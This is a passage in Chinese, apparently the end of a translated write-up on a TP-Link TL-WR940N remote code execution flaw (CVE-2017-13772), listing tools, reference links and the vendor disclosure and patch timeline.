QEMU

mipsrop.py插件

USB 2.0至TTL UART 6PIN CP2102模块串行转换器

参考文档

https://wiki.openwrt.org/toh/tp-link/tl-wr940n 

http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip 

http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/ 

http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf 

 http://www.devttys0.com/2013/10/mips-rop-ida-plugin/

时间线

向供应商披露 - 11/8/2017

供应商的回应,初步咨询要求 - 14/8/2017

初步咨询 - 14/8/2017

测试版补丁发送供应商测试 - 17/8/2017

补丁确认工作,然而其他脆弱的地方由我自己确定,第二个漏洞是为了证明这一点。发送给供应商 - 17/8/2017

供应商的回应将研究其他脆弱地区 - 18/8/2017

供应商发送测试的第二个补丁 - 25/8/17

补丁确认以减轻漏洞(删除了500+以上的strcpy调用) - 29/8/2017

补丁发布 - 28/9/2017(仅限HW V5 US)


翻译来源:

https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/



声明:该文观点仅代表作者本人,转载请注明来自看雪